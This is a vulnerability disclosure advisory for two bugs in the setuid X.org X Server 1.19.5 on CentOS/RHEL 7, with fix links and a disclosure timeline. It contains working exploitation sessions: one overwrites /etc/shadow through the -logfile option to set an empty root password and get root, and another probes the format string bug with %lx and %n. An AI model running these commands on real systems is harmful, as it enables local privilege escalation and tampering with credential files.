1. Arbitrary File Overwrite Vulnerability Leads to Privilege Escalation
Details:
======
X.org X Server application is vulnerable to privilege escalation issue. X.org X Server application allows lower privileged user to create or overwrite file anywhere on system , including files owned by privileged users (ex. /etc/shadow).
The attacker needs to have active console session to exploit this issue.
Test Targets:
===========
CentOS-7
[narendra@localhost ~]$ uname -a
Linux localhost.localdomain 4.18.11-1.el7.elrepo.x86_64 #1 SMP Sat Sep 29 09:42:38 EDT 2018 x86_64 x86_64 xGNU/Linux
Rhel-server-7.5
root@localhost Dev]# uname -a
Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux
Tested with X.Org X Server 1.19.5.
Analysis:
=======
On CentOS and RedHat server operating systems, X.org X server executable ( /usr/bin/Xorg ) is assigned with "root setuid" permission.
[Dev@localhost ~]$ ls -la /usr/bin/Xorg
-rwsr-xr-x. 1 root root 2409344 Apr 11 22:12 /usr/bin/Xorg
In X.org X server application, LogInit() function prepares setup for logging activities. X.org X server allows user to specify logfile name using "-logfile" option.
If file with same name as user provided "<logfile>" is already present on system then, its renamed to "<logfile>.old".
Once this is done a new file is created with user provided "<logfile>" name using fopen() call as below,
Xorg-Server/os/log.c
244 const char *
245 LogInit(const char *fname, const char *backup)
246 {
247 char *logFileName = NULL;
248
249 if (fname && *fname) {
250 if (displayfd != -1) {
251 /* Display isn't set yet, so we can't use it in filenames yet. */
252 char pidstring[32];
253 snprintf(pidstring, sizeof(pidstring), "pid-%ld",
254 (unsigned long) getpid());
255 logFileName = LogFilePrep(fname, backup, pidstring);
256 saved_log_tempname = logFileName;
257
258 /* Save the patterns for use when the display is named. */
259 saved_log_fname = strdup(fname);
260 if (backup == NULL)
261 saved_log_backup = NULL;
262 else
263 saved_log_backup = strdup(backup);
264 } else
265 logFileName = LogFilePrep(fname, backup, display);
266 if ((logFile = fopen(logFileName, "w")) == NULL)
267 FatalError("Cannot open log file \"%s\"\n", logFileName);
268 setvbuf(logFile, NULL, _IONBF, 0);
269
270 logFileFd = fileno(logFile);
The underlying open() syscall with umask permissionsdetails can be confirmed via strace -
stat("mylogfile", 0x7ffcb9654ed0) &n-1 ENOENT (No such file or directory)
open("mylogfile", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
rt_sigaction(SIGALRM, {0x55b6e2c2ca70, [ALRM], SA_RESTORER|SA_RESTART, 0x7fb0353036d0}, NULL, 8) = 0
From strace logs its confirmed that O_EXCL flag is not set, so fopen() will create or overwrite already present file.
Exploitation:
=========
For exploitation we need to use following 3 points -
1. fopen() syscall input is user-controlled filename value
2. fopen() will create or overwrite already present file
3. /usr/bin/Xorg executable is assigned with root "setuid" permissions
/etc/shadow file overwrite
[Dev@localhost ~]$ uname -r
3.10.0-862.el7.x86_64
[Dev@localhost ~]$ Xorg -version
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 2.6.32-696.18.7.el6.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 13 February 2018 02:39:52PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
[Dev@localhost ~]
[Dev@localhost ~]$ id
uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[Dev@localhost ~]$
[Dev@localhost ~]$ cd /etc
[Dev@localhost etc]$ ls -la shadow
----------. 1 root root 1650 Oct 6 05:03 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadow
cat: shadow: Permission denied
[Dev@localhost etc]$
[Dev@localhost etc]$ Xorg -logfile shadow :1
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 2.6.32-696.18.7.el6.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 13 February 2018 02:39:52PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "shadow", Time: Sat Oct 6 21:54:13 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
(II) Server terminated successfully (0). Closing log file.
[Dev@localhost etc]$
[Dev@localhost etc]$
[Dev@localhost etc]$ ls -la shadow
-rw-r--r--. 1 root Dev 53901 Oct 6 21:54 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ head shadow
[ 11941.870]
X.Org X Server 1.19.5
Release Date: 2017-10-12
[ 11941.870] X Protocol Version 11, Revision 0
[ 11941.870] Build Operating System: 2.6.32-696.18.7.el6.x86_64
[ 11941.870] Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
[ 11941.870] Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
[ 11941.870] Build Date: 13 February 2018 02:39:52PM
[ 11941.870] Build ID: xorg-x11-server 1.19.5-5.el7
[ 11941.870] Current version of pixman: 0.34.0
[Dev@localhost etc]$
Gain root privileges
[Dev@localhost ~]$ id
uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[Dev@localhost ~]$
[Dev@localhost ~]$ cd /etc
[Dev@localhost etc]$
[Dev@localhost etc]$ ls -la shadow
----------. 1 root root 1241 Oct 10 01:15 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadow
cat: shadow: Permission denied
[Dev@localhost etc]$
[Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
(II) Server terminated successfully (0). Closing log file.
[Dev@localhost etc]$ ls -la shadow
-rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadow | grep "root::"
root::16431:0:99999:7:::
[Dev@localhost etc]$
[Dev@localhost etc]$
[Dev@localhost etc]$ su
[root@localhost etc]#
[root@localhost etc]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
2. Format String Vulnerability
Details:
======
X.org X Server application configuration option "-logfile" is vulnerable to format string vulnerability.
Analysis:
=======
The user controlled tainted data flow -
stubmain.c
int dix_main(int argc, char *argv[], char *envp[]);
/*
A default implementation of main, which can be overridden by the DDX
*/
int
main(int argc, char *argv[], char *envp[])
{
return dix_main(argc, argv, envp); // user controlled parameters in argv
dix/main.c
int
dix_main(int argc, char *argv[], char *envp[])
{
int i;
HWEventQueueType alwaysCheckForInput[2];
....
OsInit(); <= /* Perform any operating system dependent initializations you'd like */
os/osinit.c
void OsInit(void)
{
.....
/*
* No log file by default. OsVendorInit() should call LogInit() with the
* log file name if logging to a file is desired.
*/
OsVendorInit();
hw/xfree86/common/xf86Init.c
void
OsVendorInit(void)
{
...
if (!beenHere) {
umask(022);
xf86LogInit();
}
hw/xfree86/common/xf86Helper.c
void
xf86LogInit(void)
{
...
xf86LogFile = LogInit(xf86LogFile, LOGOLDSUFFIX);
os/log.c
const char *
LogInit(const char *fname, const char *backup)
{
...
logFileName = LogFilePrep(fname, backup, pidstring);
...
}
static char *
LogFilePrep(const char *fname, const char *backup, const char *idstring)
{
char *logFileName = NULL;
...
if (asprintf(&logFileName, fname, idstring) == -1)
FatalError("Cannot allocate space for the log file name\n");
...
In above code, "fname" contains user controlled malicious input which is passed to asprintf() function results into format string vulnerability.
Exploitation:
==========
Tested on CentOS 7
[developer@localhost test]$ uname -a
Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[developer@localhost test]$
[developer@localhost test]$
[developer@localhost test]$ Xorg -version
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
[developer@localhost test]$
[developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%s.%s.%s.%s.%s.%s.%s.%s.%s.%s :1
(EE)
(EE) Backtrace:
(EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x55770e41f135]
(EE) 1: /usr/bin/Xorg (0x55770e271000+0x1b1ec9) [0x55770e422ec9]
(EE) 2: /lib64/libpthread.so.0 (0x7f1908866000+0xf6d0) [0x7f19088756d0]
(EE) 3: /lib64/libc.so.6 (_IO_vfprintf+0x4a79) [0x7f19084e5f19]
(EE) 4: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f19085b1085]
(EE) 5: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f19085b0fc2]
(EE) 6: /usr/bin/Xorg (0x55770e271000+0x1bb655) [0x55770e42c655]
(EE) 7: /usr/bin/Xorg (LogInit+0x19f) [0x55770e42c92f]
(EE) 8: /usr/bin/Xorg (xf86LogInit+0x47) [0x55770e310cc7]
(EE) 9: /usr/bin/Xorg (OsVendorInit+0x29) [0x55770e307909]
(EE) 10: /usr/bin/Xorg (OsInit+0x25a) [0x55770e4231aa]
(EE) 11: /usr/bin/Xorg (0x55770e271000+0x578dc) [0x55770e2c88dc]
(EE) 12: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f19084bb445]
(EE) 13: /usr/bin/Xorg (0x55770e271000+0x41c7e) [0x55770e2b2c7e]
(EE)
(EE) Segmentation fault at address 0x5
(EE)
Fatal server error:
(EE) Caught signal 11 (Segmentation fault). Server aborting
[developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx :1
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "xf86LogFile.7fff8bf88556.7fff8bf85fa0.7fff8bf85e50.7fff8bf85010.0.5585766edf18.7efdfefd4e98.5.3000000030.7fff8bf84ff0", Time: Thu Oct 11 20:39:32 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
pci id for fd 15: 80ee:beef, driver (null)
EGL_MESA_drm_image required.
^C(II) Server terminated successfully (0). Closing log file.
developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%n.%n.%n.%n :1
*** %n in writable segment detected ***
(EE)
(EE) Backtrace:
(EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x563e94de6135]
(EE) 1: /usr/bin/Xorg (0x563e94c38000+0x1b1ec9) [0x563e94de9ec9]
(EE) 2: /lib64/libpthread.so.0 (0x7f0068f28000+0xf6d0) [0x7f0068f376d0]
(EE) 3: /lib64/libc.so.6 (gsignal+0x37) [0x7f0068b91277]
(EE) 4: /lib64/libc.so.6 (abort+0x148) [0x7f0068b92968]
(EE) 5: /lib64/libc.so.6 (0x7f0068b5b000+0x78d37) [0x7f0068bd3d37]
(EE) 6: /lib64/libc.so.6 (__libc_fatal+0x1e) [0x7f0068bd3e1e]
(EE) 7: /lib64/libc.so.6 (_IO_vfprintf+0x2b76) [0x7f0068ba6016]
(EE) 8: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f0068c73085]
(EE) 9: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f0068c72fc2]
(EE) 10: /usr/bin/Xorg (0x563e94c38000+0x1bb655) [0x563e94df3655]
(EE) 11: /usr/bin/Xorg (LogInit+0x19f) [0x563e94df392f]
(EE) 12: /usr/bin/Xorg (xf86LogInit+0x47) [0x563e94cd7cc7]
(EE) 13: /usr/bin/Xorg (OsVendorInit+0x29) [0x563e94cce909]
(EE) 14: /usr/bin/Xorg (OsInit+0x25a) [0x563e94dea1aa]
(EE) 15: /usr/bin/Xorg (0x563e94c38000+0x578dc) [0x563e94c8f8dc]
(EE) 16: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f0068b7d445]
(EE) 17: /usr/bin/Xorg (0x563e94c38000+0x41c7e) [0x563e94c79c7e]
(EE)
(EE)
Fatal server error:
(EE) Caught signal 6 (Aborted). Server aborting
(EE)
(EE)
Please consult the The X.Org Foundation support at http://wiki.x.org for help.
(EE)
*** %n in writable segment detected *** confirms that security hardening mechanism FORTIFY_SOURCE is enabled. So impact is minimized, this issue leads to sensitive system information leakage.
Acknowledgments:
==============
I would like to thank X.org and Red Hat Product Security team.
Fix Information:
=============
https://lists.x.org/archives/xorg-announce/2018-October/002927.html
https://lists.x.org/archives/xorg-announce/2018-October/002928.html
Timeline:
========
2018-10-10: Contacted secalert@redhat.com
2018-10-12: Contacted X.org Team
2018-10-25: Coordinated Release Date (Time: 14:00 UTC)